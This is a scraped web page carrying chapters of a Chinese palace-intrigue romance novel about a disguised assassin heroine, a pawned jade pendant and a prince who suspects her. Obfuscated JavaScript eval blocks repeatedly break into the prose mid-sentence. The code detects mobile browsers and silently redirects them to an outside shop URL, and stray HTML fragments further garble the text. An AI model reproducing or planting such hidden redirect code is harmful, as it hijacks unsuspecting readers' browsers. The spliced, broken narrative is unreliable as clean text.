;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐，奴婢瞧着这绒毯，柔软厚实，一看便知是上等好物。”锁秋拧着眉，轻轻触摸着那绒面，语气带着几分警惕，“姨娘素来与你生疏，今日竟又是亲自送上门，怎会如此好心？” 汀竹打了个哈气，眼底的惺忪尚未散尽，唇边不免勾起一抹冷嗤，“不过是借此来探探我的虚实罢了。” “原来是这般！”锁秋恍然，眼眸都亮了些许，“小姐，那这绒毯怎么处理？” 汀竹随即缓缓起身下床塌，伸了个懒腰，活舒展着久坐的筋骨，“既是送来了，自然是好生享用。” 她目光扫过床头矮几里的高丽参与珍珠粉，吩咐着锁秋，“这两样你暂且好生收着，说不定往后还有用武之地。” 锁秋应声，随后捧着金漆盒，转身收入了暖居阁专门放贵重物品的妆阁内。 汀竹取来净面的香露，细细洗去脸上那层刻意涂抹的惨白妆容。待抬眼望向铜镜，镜中人眉目清丽，往日那两道狰狞的疤痕，如今只剩浅浅两道微红印记，不仔细瞧竟瞧不真切了。 28. 典当 锁秋归置好物件，便移步至妆台前，为汀竹梳妆。 “锁秋，你可将我这脸上的疤痕用脂粉遮去？”汀竹望着铜镜中自己的容颜，轻声问道。 “奴婢尽力一试。”锁秋取过脂粉，细细在她颊边匀铺，“小姐今日特意遮盖疤痕，可是有什么缘故？” 汀竹指尖捻着鬓边一缕发丝玩弄，“戴面纱反倒扎眼，倒像是生怕旁人不知我是将军府容貌有损的嫡小姐。” “不过，今日妆容要比以往的要浓重些。眼角这颗痣遮了，再在鼻梁处点上一颗。” 锁秋依言而行，取湿粉掺入些许粘性香膏，调和均匀后，先细细覆住汀竹眼角的痣，又薄铺了一层淡粉。怕疤痕处的脂粉易脱落，便沿着疤痕边缘浅浅晕开，再添了一层薄粉，使其与肌肤浑然一体。随后取画眉的黛石，在她鼻梁一侧点了颗大小合宜的黑痣，又以朱砂在额间描了朵小巧的花钿。 妆成之后，锁秋打量着汀竹的面貌，只觉与往日盼若两人，却各有各的风姿。先前未施浓妆时，汀竹是清冷出尘、不似凡尘烟火的仙子；如今浓妆点缀，却是一派娇艳明媚，又无青楼女子那般妩媚轻浮之态。 汀竹看着铜镜中自己焕然一新的自己，气质已不似方才那般稳重温婉。她随即吩咐锁秋，“去衣柜中寻一件颜色艳丽、异于寻常着装的衣裙来。” 不一会，锁秋寻来了一袭橘色轻纱襦裙，肩头绣着几簇橘白相间的小花。汀竹换好衣裙，锁秋见她发间尚缺点缀，便转身从妆匣中取来与衣裙相衬的橘色翡翠发钗与钿花，轻轻为她簪在发间。 再一打量，只觉艳光四射，美得不可方物，活脱脱一位被娇宠惯坏的掌上明珠。 “小姐，这般打扮，岂不是更引人注意？”锁秋不免心中生疑。 汀竹浅浅笑了笑，眸底一丝慧黠闪过，“虽说这般模样，固然会引人侧目，但也不过多瞧两眼罢了。旁人见了，只会当时哪家的娇贵小姐出游，断不会将眼前这人，与将军那位清冷嫡小姐联系起来。” 接着又拿了一个帷帽，忽又想起某物，便询问锁秋，“上次让你拿着的玉佩可还在？” “还在奴婢这。”锁秋便从袖口中的玉佩取出，递给了汀竹，“自从上次小姐你说这是辟邪的，奴婢便一直揣在了袖中，从未取下。” 汀竹闻言稍有一愣，随机便勾了勾嘴角，她连她随口扯的话都信。有些担忧起来，要是哪天她不在，怕是会遭人拐骗。 便说出了实情，“这只是普通玉佩，并未有辟邪的功效。” “啊？奴婢以为是普清寺主持开过光之物。”锁秋略有遗憾，瘪了瘪嘴，“小姐老是拿我取笑。” “好了，好了。”汀竹柔声说道，“待我回来给你寻个包辟邪的宝贝。” 汀竹戴好帷帽，仅隐约露出娇艳的容颜。她把玉佩妥帖放入袖中，低声嘱咐了锁秋，“关好窗棂，守好门户，归来以三声鸟鸣为号。”言罢，转身从后窗轻巧翻去。 锁秋不敢怠慢，先将房中窗棂一一拴死，又退至门外将大门合上。她寻了院中其他丫鬟一同打理花草，闲话间眼角余光却时时瞟向门口，警惕着任何可疑人影靠近。 汀竹行至望京街时，暖阳已照透了街巷，橘色轻纱襦裙随着步履伴起的微风轻扬，肩头的小花纹样在光影中若隐若现。虽戴有帷帽，却时不时被风吹起，露出那貌美的侧颜，又见鬓边翡翠钗随着步履轻摇，流光溢彩，属实要比旁人显眼。 街市上人潮熙攘，往来形人果不其然纷纷侧目，有纨绔子弟驻足回望，亦有闺阁女子低声赞叹，却无一人将这艳光引人的女子，与传闻中容貌有损、性情冷淡的将军府嫡小姐联系起来。 她先寻了家当铺，想将这玉佩当了换些银两。虽说她不懂玉，但也瞧着出这玉佩通体温润，成色极佳，想必是块上等好玉，怕是能换不少银两。 “掌柜，你且瞧瞧这块玉牌能值多少银两？”汀竹探袖取出玉佩，递给了当铺掌柜。 那掌柜接过玉佩，对着光反复端详，又抬眼打量了汀竹数番，迟疑问道：“小姐，这玉佩是您的？” “怎的？”汀竹眉间稍蹙，她早已将玉佩细细看了看，并未发现有任何身份标识，为何掌柜会有此问。 掌柜生怕招惹是非，忙解释道：“瞧小姐衣着华贵，不似家境窘迫之人。这般好玉，怎会轻易典？” 汀竹闻言，随口编了个由头，“这玉佩乃是我与心仪之人的定情之物，谁知他负心另娶，留着我徒增伤感，丢弃又觉得可惜，不如当了换些银两，也好打发府中用度。” 掌柜点了点头，不早多问，“这玉佩品质上乘，可值三千两白银。” 三千两白银？汀竹心中微惊，面上却依旧平静无波，仿佛只是寻出数目。 “只是小姐，小人一时凑不齐这么多现银，要不......”掌柜面露难色。 汀竹便问，“现有多少？” “约莫两千两银票。”掌柜翻查柜中的银票，仔细清点了一番回道。 “也罢，两千两便两千两，眼不见心不烦。”汀竹故作无所谓地摆手。 掌柜连忙凑了大额银票，竟凑出两千五百两，双手奉上。汀竹接过，妥帖收入袖中，转身从容离去。 待她走远，当铺掌柜当即合上店门，提前打烊。他小心翼翼将玉佩盛入锦盒，转身往后院去了。 不多时，一只白鸽振翅而起，消失在天际。 汀竹此行本是为探查周姨娘中饱私囊之事，以及她暗中往来的陌生男子身份，却苦于无从下手，便想着先买一身便于夜间行动的衣裳。 片刻后就走到了云锦坊。 店掌柜一瞧汀竹这身贵气的行头，料定是位贵客，那脸上的笑意堆的满满当当的，“小姐，小店前不久刚从西域进了一批新货，定有合您心意的！”说罢，掌柜如是见了财神爷一般笑得愈发灿烂，迎着汀竹去了他所说的那批西域新货。 汀竹跟其身侧前边，瞧了那批样式繁复的衣裙，轻轻摇了摇头，面露不耐。掌柜见状，生怕这位财神爷要走，连忙开口询问着，“小姐想要什么款式？小店应有尽有，只有您想不到的，没有小店做不到的！” 汀竹直言，“本小姐想要一身黑色的，轻便不易脏，且便于行走的衣裳。” 掌柜一听，眼中瞬间有着一丝疑惑。听她这般描述，分明是刺客夜间行刺的装束。他又细细打量汀竹，见她娇弱，实在与刺客之流沾不上边，才稍放宽心，试探着问，“小姐为何要买这样的衣裳？” 汀竹毫不避讳，坦然而言，“自然是为了夜里出府游玩啊。家父管得严，平日里不许我出门。可听闻忘京街的夜景格外繁华，便想趁着夜色瞧瞧。” “今日能出府，还是我求了家父好久才得已应允。” 掌柜瞧她孤身而来，眉宇间虽带几分急切，身旁却无半分仆从跟随，心中不免将信将疑。正想再细问几句，汀竹已先开口，“为了买这件衣裳，我特意将贴身婢女支开了。” 她抬眸扫过掌柜犹豫的神色，语气添了几分不耐，“掌柜，你这到底有没有？若是没有，我便往别家寻去了。” 许是最后一句起了作用，掌柜连忙收回杂念，躬身回应道：“有的，有的！” “小姐您稍等，小人这就去取来。” 说罢，他急匆匆转入后堂库房，翻找半晌，很快捧着一件黑色夜行衣出来。衣裳递到汀竹面前时，他还刻意压低了声音，手指指着衣料上的纹路，“小姐瞧瞧，这夜行衣上的绣的是‘竹叶’暗纹。” 汀竹见他这般小心翼翼的模样，心中已然明了掌柜想同她说些什么。故而便装作一副天真，睁眸好奇的追问，“哦？这暗纹莫非有什么特别之处？” 掌柜左右瞥了眼店内无人，才凑近了些，故弄玄虚般问道：“小姐，你可听过刺客‘无常’？” 竟当着她的面，问起她自己的名讳。 汀竹故作茫然，轻轻摇了摇头。 “他可是黑夜鬼神！”掌柜眼中闪过一丝亮色，语气带着几分难掩的倾慕，“不少达官贵人，都死于他剑下。” 她瞧掌柜说起杀人如麻的刺客，非但无半分恐惧，反倒隐隐透着惆怅，便顺着他的话问道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776787|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “杀了这许多人，可听掌柜你这话倒不害怕，反倒有惋惜之意？” 掌柜轻叹一声，脸上的倾慕淡了几分，添了些许怅然，“此人虽杀人无数，可杀的皆是些残暴不仁之辈，实则是为民除害的义士啊。” “只可惜，前阵子听闻他已然暴毙，真是可惜了这般人物。” 汀竹怔了怔，万没料到，这世间竟还有人为她的“死”而惋惜。 指尖无意识摩挲着夜行衣上的竹叶暗纹，冰凉的丝线蹭过指腹，汀竹心中五味杂陈。 她原以为自己在世人眼中，不过是令人闻风丧胆的煞神，却不知竟有人能看透那些杀戮背后的缘由，将她视作义士。 “暴毙？”她刻意放轻语调，声音带着几分恰到好处的好奇与诧异，“掌柜这话当真？如此人物，怎会这般轻易殒命？” 掌柜见她感兴趣，索性往柜台后一靠，压低了声音续道：“谁说不是呢！听闻是上月初九，他夜闯端王府刺杀，却中了埋伏，被乱箭穿心而亡。这端王虽说手段狠戾，明面里却也无该死的罪过。” “谁晓得无常先生为何要取他性命？依我看呐，定是端王背地里藏了不少龌蹉勾当！” 说到激动之处，掌柜攥紧了拳头，眼底满是愤懑，“可惜啊，这般替天行道的人物，终究是没能善终。” 汀竹垂眸掩去眼底的寒芒。上月初，她确实是有行刺端王，却并未是真端王。而上月初九夜闯端王府邸的应是堂中之人用的她身份，结果暴露致死。 但这故意让“无常已死”的消息传遍江湖？这虚假的死讯，她倒有些不明堂中这般做法是有何意？ “原来如此。”她抬眸时，脸上已恢复了方才的懵懂，“这般说来，这竹叶暗纹倒于这位义士有关？” 掌柜一拍大腿，压低声音道：“小姐果然聪慧！这夜行衣的暗纹，正是模仿他的信物。” “传闻他每次作案后，都会在现场留下一片清脆的竹叶。咱们这铺子敢卖这衣裳，也是仗着无人敢深究‘无常’的名头罢了。” 他凑近了些，语气带着几分神秘，“不瞒小姐说，这衣裳的料子是水火不侵的鲛绡所制，暗纹还能在夜间微光下隐现，便是模仿无常先生的手段。只是......” 掌柜话锋一转，脸上露出几分迟疑，“只是这衣裳价格不菲，且买去多是为了效仿无常行事，小姐孤身一人，买它怕是......” 汀竹心中一动，从袖中取出一张方才典当玉佩的银票，递在了掌柜手中，“价格无妨，我买它自有我的用处。”她抬眸看向掌柜，眼神里多了几分深意，“至于用途，掌柜只需收钱交货便是，何必多问？” 掌柜接过银票，低头一看，五百里银票，脸上止不住的喜悦。见她这般出手阔绰，又语气坚定，便不再多言，连忙将银票收好，小心翼翼地将夜行衣叠好，用锦盒装好递了过去。“小姐放心，此事天知地知，您知我知，小人绝不敢对外声张。” 汀竹接过锦盒，“如此，便多谢掌柜了。”说罢，她转身离去，刚走到门口，却又停下脚步，回头看向掌柜，似是随意问道：“掌柜消息这般灵通，可知宋将军府上宋韫之事？” 掌柜愣了愣，随即摇了摇头，“小人只是听闻将军府内宅不宁，妻妾嫡庶不合，其余琐事倒是未曾听闻。不过......”他话音未落，目光扫过汀竹递来的银票，眼底了然。 “小姐既肯重金相托，小人便不敢藏私。近来倒是常见将军府上姨娘的贴身丫鬟，总是提着个金漆食盒，从不入八味斋这类食肆，反倒往城南僻静巷陌去，似是私下送些物件。” 汀竹眸中微光一闪，心中已然透亮。想必那些不明流向的银两是借食盒暗度陈仓。她抬手拢了拢袖角，又取了一张银票置于柜上，声音压得更低，“多谢掌柜告知。” 掌柜瞥了银票面额，再看汀竹这身贵气装扮，打听宋家嫡女之事，心中愈发笃定她是哪家权贵府上的小姐，多半也是妒恨宋家嫡女将登太子妃之位。 他麻利收妥银票，躬身笑道：“小人明白分寸，此事绝不对外走漏半分风声。” 29. 旁听 城北幽巷转角，明霄怀揣着一方锦盒，步履匆匆。往有着门楣上悬挂着鎏金“宸王府”牌匾的府邸大门而去。门前两名护卫见是自家府邸的人，忙启门扉放。 他熟稔地穿庭过廊，径直奔赴书房。 推扉而入时，一股清冽墨香夹杂着檀香扑面而来。只见书案后坐着衣着黛蓝云纹锦袍的宸王，箫凛。他手握狼毫，正于白鹿宣挥毫疾书，笔锋遒劲，纸上字迹龙飞凤舞。 “殿下。”明霄躬身行礼，双手恭捧锦盒递至案前。 箫凛搁笔接过，打开锦盒一看，一抹温润乳白映入眼帘。 盒内玄绒之上，静静卧着一枚玉佩。 他眉峰微蹙，眸中闪过几分诧异，抬眼望向了明霄，“此玉佩是从何处寻回？” 先前这块玉佩因上次与刺客“无常”缠斗时，连同荷包一同被其窃去。未及数日，便听闻这个无常刺杀端王未遂，反被其乱箭穿心而亡。按理来说，这玉佩要么在端王之手，要么便已踪迹难寻。 明霄垂首回话，“属下遵殿下的吩咐，暗中追查在醉心楼向桃仙儿学曲的女子。” “那二人虽是女流，属下却屡屡追踪至半途便失了踪迹。是以今日特意白日探查，恰好就见当铺掌柜放飞的白鸽，料想他打探到新线索，便寻了去。” “掌柜言说，此玉佩乃是一位权贵家的小姐所当。那小姐称，这玉佩原是她与心上人私定终身之物，怎料男方负心另娶，她心灰意冷，便欲将此物当去，眼不见为净。” 尤其是说到“私定终身之物时”，明霄特意加重了语气，眼角余光还小心翼翼的瞥向他家殿下的脸色。 箫凛指尖轻抚着玉佩温润的肌理，玉质细腻，触手生温。他眸色沉沉，墨色瞳孔中映着玉佩的光影，不知在思量什么。 玉佩卧于玄绒之上，乳白肌理浸着月华般的温润，箫凛指尖摩挲着手中玉佩，能触摸到边缘一道极浅的刻痕。 那是当年他年少第一次得到父皇称赞与母亲报喜时，因心急被小石子绊脚，摔了一跤留下的印记，旁人难辨，唯有他熟记于心。只因这块玉佩，是母后生前留在这世间唯一的东西了。 “权贵家的小姐？”他薄唇轻启，声音低沉，带着几分不易察觉的冷意，“可知是哪家府邸？” 明霄回想了一番便道：“掌柜的只说那小姐衣着华贵，梳着双环鬓，瞧着便是娇生惯养的模样。他怕招惹是非，未敢多问门第。” 箫凛指尖一顿，眸色愈发沉凝。权贵之女，私定终身......这两个词在他心头辗转，竟莫名牵出一丝异样的熟悉感，似有若无，却挥之不去。 “明霄，你可还记得，那在醉心楼向桃仙学艺的女子，当初用的什么借口？” 明霄努力回想，当日醉心楼桃仙儿问起老鸨时，老鸨曾言“学些技艺，好取悦心仪之人。”便将此话原原本本告知了箫凛。 话刚落下，明霄像是恍然大悟般，下意识补充道：“殿下，莫不是这当玉佩的小姐，与那学曲的女子竟是同一个人？” 箫凛指尖摩挲玉佩的动作骤然停驻，墨眸深处涌着无人能懂的波澜。玉佩被无常窃去不日暴毙端王府、取悦心仪之人，权贵小姐与他私定终身的信物......他知端王对桃仙儿有情意，那与这所谓的权贵小姐应毫无关系，可与这无又是何众关系？而这无常已死，那这负心之人又是何人？诸多疑点交织一起，如同一张无形的网，悄然笼罩下来。 他薄唇紧抿，周身气息愈发寒凉，沉声道：“此事绝非巧合。你再探访那当铺掌柜，细细旁问那小姐的容貌、谈吐，是否有任何特殊标记。另外，彻查京城权贵府邸中，近期是否有适龄小姐行踪诡秘，或是与外男有牵扯者。” 随即顿了顿，指尖再次抚上那道浅痕，语气添了几分决绝，“无论如何，定要将这背后之人，给本王揪出来。” “是。”明霄说话，又说：“对了殿下，今日属下打听到礼部侍郎与齐太傅在望京街酒楼议事。” “殿下可要前去旁听？” 箫凛轻合锦盒，将那块玉佩妥帖收于怀中，眸色沉凝间只吐出一字，“走。” …… 醉云楼三楼，东西两间雅间隔着一道雕花梨木屏风，屏上镂空缠枝莲纹细密，却挡不住隔壁隐隐传来的低语。 西间内，箫凛斜倚在软塌上，玄色常服外罩着一层暗银丝袍，手指捏着扇柄漫不经心地轻敲在塌边。隔壁坐着礼部侍郎李仲清与太傅齐蔚，两人刻意压低的话音，顺着屏风缝隙飘了进来。 “太傅，太子近日借赈灾之名笼络地方官员，朝堂上附和者日众，再这般下去，端王殿下的储位之望怕是......” 对面端坐的太傅齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791685|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔚，须发皆白，身着藏青锦袍，目光却锐利如鹰，“李大人莫急。太子此举看似得民心，实则好空内库，且赈灾粮款层层克扣，已有御史暗中上奏，只是陛下暂未发作罢了。端王殿下仁厚，前日捐出私产修缮苍河堤坝，百姓口碑已传至京街，这便是我们的底气。” 他端起茶杯，浅啜一口，声音压得更低：“倒是丞相近日动作频频，联合户部尚书提议加征江南赋税，明面上是为充盈国库，实则是为太子培植私党。” “江南盐商与丞相素有勾结，此役若成，太子的财力便无人能及。” 李仲清脸色一白，急倒：“那我们该如何应对？端王殿下不愿与丞相撕破脸，这般被动下去，迟早被太子党羽蚕食。” “你可记得前苏丞相多年前因何事落得个满门抄斩？”齐蔚凑近几分，压低了声音低沉道。 李仲清闻言，眸中浮现出一丝微光，豁然开朗，拱手道：“太傅高见！‘以其人之道，还治其人之身。’属实是高！” 齐蔚捋了捋颌下白须，嘴角勾起一抹深意，“下月便是先帝忌辰，按祖制需由皇子主祭。你可借吏部职权，奏请陛下让端王与太子共同主祭，祭典之上，我已安排好御史弹劾江南赋税之事，届时太子若为丞相辩解，变会落下‘党同伐异，不敬先帝’的口实。” 李仲清思了片刻，仍有疑虑，“只是......下官担忧丞相会从中作梗，更改祭典流程。” “放心。”齐蔚冷笑一声，“虽说宸王独受太后偏爱，素来不问世事。可太后本就不喜太子，必会在陛下面前吹吹风，保祭典按祖制进行。” 两人议事的对话，一字不落地传入了箫凛耳中。 他端起矮几上的青瓷茶杯，浅酌一口，温热的茶水滑过喉间，眸色却愈发暗沉。太子表面温良，内里狠厉急躁；端王看似仁厚，实则缺谋愚蠢。丞相老谋深算，太傅步步为营，这朝堂之争，倒真是越来越有趣了。 而他箫凛素来以孱弱姿态示人，对外宣称无心掺和储位之争，可这一切的伪装，不过是为了蛰伏待机，做那幕后布局之人。 “螳螂捕蝉，黄雀在后。”他指尖摩挲着杯沿，低声呢喃。 “太子……端王……”扇柄在塌边轻轻一顿，发出清脆一声，箫凛嘴角勾起一抹冷冽笑意，“既然你们都想争，本王不妨……推波助澜一番。” 30. 相邀 巳时中，日头攀至中天偏东，金辉如细沙般泼洒在望京街的青石板路上，两侧黛瓦鳞次栉比，飞檐下悬着的铜铃随风轻晃，发出一阵阵轻灵声。 汀竹身着橘色轻纱襦裙，乌发挽成双环鬓，发鬓簪着橘色翡翠发钗与钿花，走在青石板路上。 她将先前在云锦坊所买的衣物放至在一条狭窄巷子里的柴堆之中。今早由于装风寒胃口不佳，只喝了碗清淡的粥，眼看要到晌午午膳，便想着找家酒馆好好吃个痛快。 行不多时，就见前方左边街立着一座酒楼，门楣上悬挂着“醉云楼”的匾额，往来食客络绎不绝，一瞧便是滋味绝佳的好去处。 正要抬步朝酒楼里走去，余光瞥见酒楼右侧摆着杂货摊，琳琅满目的小物件引得她驻足。 只见摊铺上整齐摆着精妙绝伦的小物件，木头雕刻的娃娃及发簪、竹编的蚂蚱蜻蜓、细瓷小碗错落有致。汀竹目光一转，恰落在一柄小巧玲珑的匕首上，当即伸手拾起细看。 那匕首不过二指至手腕的长度，鞘身雕着缠枝桃花纹，寒铁刃面映着暖光，触手却依旧沁凉。 其形纤细易藏于腕间，刀刃锋利异常。 很适合锁秋防身的佳品。 摊贩见她爱不释手，连忙堆着笑上前，“小姐好眼光！这匕首虽小巧，却足足缎了七七四十九日。尤其是这鞘身的桃花纹，可是小人一刀一刀雕刻出来的！” 汀竹满意的点了点头，手指抚摸着鞘身的纹路，轻声问：“多少银两？” 摊贩见她衣着华贵，气度不凡，料是不差钱的主儿，就伸出两根手指在空中比划。 “二十两？”汀竹眉梢微挑，虽觉价格有些高，但是确实看着不错，握在手里也不错。 当即道：“二十两便二十两。”说罢从荷包中掏了二十两纹银递了过去。 摊贩双手接过沉甸甸的银子，眼眸亮得惊人，笑得合不拢嘴，“多谢小姐！您慢走，有空常来瞧瞧！” 汀竹将匕首放在了手腕，便步入了“醉云楼”。 随便拣了个店内角落，刚点了清炒时蔬、蟹粉豆腐、香酥鸡、锅烧鲤鱼与壶花茶，便听得身后传来轻佻的笑闹声。 “哟，这小娘子生得这般标志，独自饮酒未了寂寞？”三名纨绔簇拥着一位锦袍公子走来，那人吊梢眼扫过汀竹的眉眼，伸手便要去撩她的鬓间珠花。汀竹心头凛，余光瞟到了他的手上动作，轻巧避开了那只油腻的手。 “小娘子，躲什么？”锦袍公子笑得愈发轻佻，步步紧逼。 恰在此时，正要下楼的箫凛与贴身侍卫明霄行至二楼长廊，将这一幕尽收眼底。 “殿下……”明霄低声道，“那女子的模样、装扮，倒与当铺掌柜所言分毫不差。” 箫凛眸色一沉，凝目细细打量。女子衣着华贵，双环鬓衬得面容娇俏，虽身陷窘境，眼底却无半分怯意，果然如那人描述的模样般。 锦袍公子见汀竹闪避，脸上的轻佻更甚，伸手便要去攥她的手腕，“小娘子倒是烈性，本公子瞧着更欢喜了！跟我上楼喝几杯，少不了你的好处。” 汀竹腕间微沉，藏在袖中的匕首已滑至掌心，指尖抵着冰凉的刃口，正欲发作，便见一道青影闪过，锦袍公子的手腕已被人扣住，痛得龇牙咧嘴，原本。 “谁这么大的胆子敢……” 看清扣住自己手腕的人，他脸上的戾气瞬间褪得干干净净，只剩谄媚的笑。汀竹抬眸一瞧，竟是先前刺杀“端王”时，与自己打斗过的那名侍卫。 他怎么在这？ 正在思虑之际，那锦袍公子又开口了。 “明侍卫怎会在此？”锦袍公子慌忙赔笑，示意明霄松手，又试探着开口，“不知辰……” 话音未落，腕上力道骤然加重，骨头似要被捏碎般的剧痛让他倒吸一口凉气，忙不迭告饶，“在下再也不敢了！还请饶了在下这一回！” 明霄这才松了手，锦袍公子如蒙大赦，带着身后两名跟班屁滚尿流地逃离了醉云楼。 汀竹收了匕首，敛衽浅浅一福，“多谢公子解围。” “姑娘要谢，便谢我家公子。”明霄抬手指了指二楼，语气平淡，“还请小姐随在下移步雅间。” 目光再抬，二楼廊柱旁正倚着一人，手持折扇轻摇，正是那假“端王”。他眉眼带笑，神色闲散，竟似在看一场热闹的戏。 汀竹心头一凛。 莫不是这人怕是在暗中查到了些什么。 自第一晚潜入醉心楼学技，她便瞧出桃仙儿是此人手底的人，应是安插在醉心楼的眼线。故而每次从醉心楼返程，她都特意带着锁秋绕上三四条僻静巷陌，换过一身行头，确认无人尾随，才敢翻墙回府。 可今日她已刻意乔装，眉眼也略作遮掩，怎还会被他寻到踪迹？ 难道是哪个环节出了纰漏？ 他这般特意让人邀她上楼，分明是对自己生了疑心。此去雅间，怕是凶多吉少，想要脱身绝非易事。 汀竹正欲以“已然点好餐食”为由婉拒。未等她开口，明霄已朝店小二扬声喊道：“麻烦将这位小姐的吃食，尽数送至二楼雅间。” 汀竹指尖悄然攥紧袖中匕首，锁秋纹的鞘身在掌心硌出微凉的触感。事已至此，推辞反倒显得欲盖弥彰，她压下心头疑虑，颔首道：“既如此，叨扰公子了。” 随明霄拾级而上，木质楼梯吱呀作响，每一步都似踩在刀尖上。二楼雅间陈设雅致，雕花木窗半掩，微风携着几分酒香漫入。 萧凛已收了折扇，正临窗而坐，手指摩挲着杯沿，目光在她踏入房门的刹那，精准地落在她脸上。 “姑娘倒是好兴致，独自来醉云楼小酌。”他语气闲散，眼底却藏着几分探究，“方才楼下之事，倒是让本公子瞧出，姑娘并非寻常闺阁女子。” 汀竹敛衽落座，刻意垂眸避开他的视线，声音平静无波，“公子谬赞，不过是略懂些防身伎俩，自保罢了。” “自保？”他轻笑一声，折扇在掌心轻敲，“姑娘潜入醉心楼多日，师从桃仙儿学技，亦是为了自保？” 此言一出，汀竹心头剧震，抬眸时眼底已凝起冷意，“公子这话是什么意思？民女不懂。” “不懂？”他挑眉，从袖中取出一个绣着兰草纹样的荷包。正是她之前交给醉心楼老鸨的所装银两的荷包。“这荷包，姑娘看着眼熟吗？” 汀竹指尖轻轻一颤，原来纰漏竟出在这里。 她先前为了掩人耳目特地将原来装银两的荷包换掉，早知就不换了，料他也不知。 汀竹强作镇定，道：“不过是个寻常荷包，许是哪位客人遗落，公子怎就认定是民女的？” 萧凛微眯着眸子，抬扇朝明霄示意。明霄立马便心领神会，上前两步朝汀竹鞠躬行了个礼，“小姐，得罪了。” 眼见这架势，汀竹心中顿时一震，手腕上的匕首暗自捏紧，下一秒还没等汀竹反应，便见明霄扯掉了她身上的荷包，转眼就将荷包递给了萧凛。 “两只荷包针脚纹路分毫不差，兰草叶脉的绣法更是独一份，姑娘还要说与你无关？” 汀竹垂眸盯着案上的荷包，手指捏紧了匕首刃鞘处，面上却依旧维持着镇定，“坊间绣娘技法相仿，原也不是什么稀罕针脚。” 萧凛低笑一声，指尖点向荷包内侧的一处暗纹，内里绣着一个“平安”。 “这两字，总能作证了吧？” 汀竹循着他所指望去，两只荷包内里同一处，竟都绣着这方小字。 她心头一沉，怎么也没想到，宋夫人给宋韫绣的平安荷包，到头来反倒成了指证自己的铁证，当真是机关算尽，反误了自身。 “公子既已查得这般清楚，何必绕圈子？直说便是。”她终究是卸下了伪装，语气冷硬了几分。 萧凛见她不再狡辩，反倒收了几分眼底的锐利，端起茶杯慢悠悠呷了口茶，“本公子倒是好奇，姑娘一介闺阁女子，不好生待在府中，偏要潜入醉心楼学那些旁门左道，还三番五次刻意避开我府中眼线，究竟是何用意？” “本小姐来历如何，与公子何干？”汀竹攥紧袖中匕首，指尖已抵在刃口，语气带着几分狠厉，“公子这般步步紧逼，是要仗势欺人不成？” “仗势欺人？”萧凛挑眉，将折扇往案上一掷，“本公子只是想知道，你所作之事，究竟是受何人指使，又想图谋什么？” 汀竹喉间发紧，袖中匕首的寒意透过薄衫浸到肌肤上，她抬眼迎上萧凛的目光，眸中冷意更甚，“公子这话问得可笑，本小姐一闺阁女子，能有什么图谋？潜入醉心楼学些琴技想必公子应当查得很清楚。” “不过是为了博心上人欢心罢了，难道这等儿女情长的小事，也碍着公子的眼了？” 萧凛闻言，手指划过荷包上的兰草绣纹，唇角勾起一抹似笑非笑的弧度，目光却如利刃般在她脸上逡巡，“讨心上人欢心？那倒是要问问，姑娘的心上人，是哪位公子？” 汀竹心下一凛，面上却依旧维持着镇定，垂眸捻着袖口的流苏，语气故作娇嗔，“公子这话问得逾矩了，儿女情长之事，岂容外人置喙？” “好一个儿女情长！”萧凛语气陡然一重，冷如寒潭，“既然小姐执意不肯据实相告，那便只好将你送交府衙，由官府定夺是非了。” “明霄！” 明霄得令，当即跨步上前，伸手便要去扣汀竹的手腕。 汀竹早有防备，手腕猛地向后一缩，同时另一只手已然拿出抵在掌心已久的匕首，拔开刃鞘，银光乍现，狠狠朝明霄刺去。明霄反应极快，身子往旁边一侧躲过了锋利的刀刃。 “放肆！”萧凛沉喝一声，身形未动，只旋腕将手中茶杯掷了出去。那青瓷杯裹挟着劲风直逼汀竹持刃的手腕，汀竹见状身形急倾，茶杯擦着她腕骨飞过，重重砸在墙上，随即响起一声清脆的碎裂声，瓷片四溅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808052|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刹那间，室内气氛剑拔弩张，连空气都似凝了冰。 瓷片落地的脆响尚未散尽，汀竹已借着身形倾斜的势头旋身，足尖点地便要往窗边掠去。她深知此地不宜久留，唯有破窗脱身才是上策。 “想走？”萧凛冷嗤一声，手中折扇朝着明霄虚虚一扬，眼底尽是不屑。 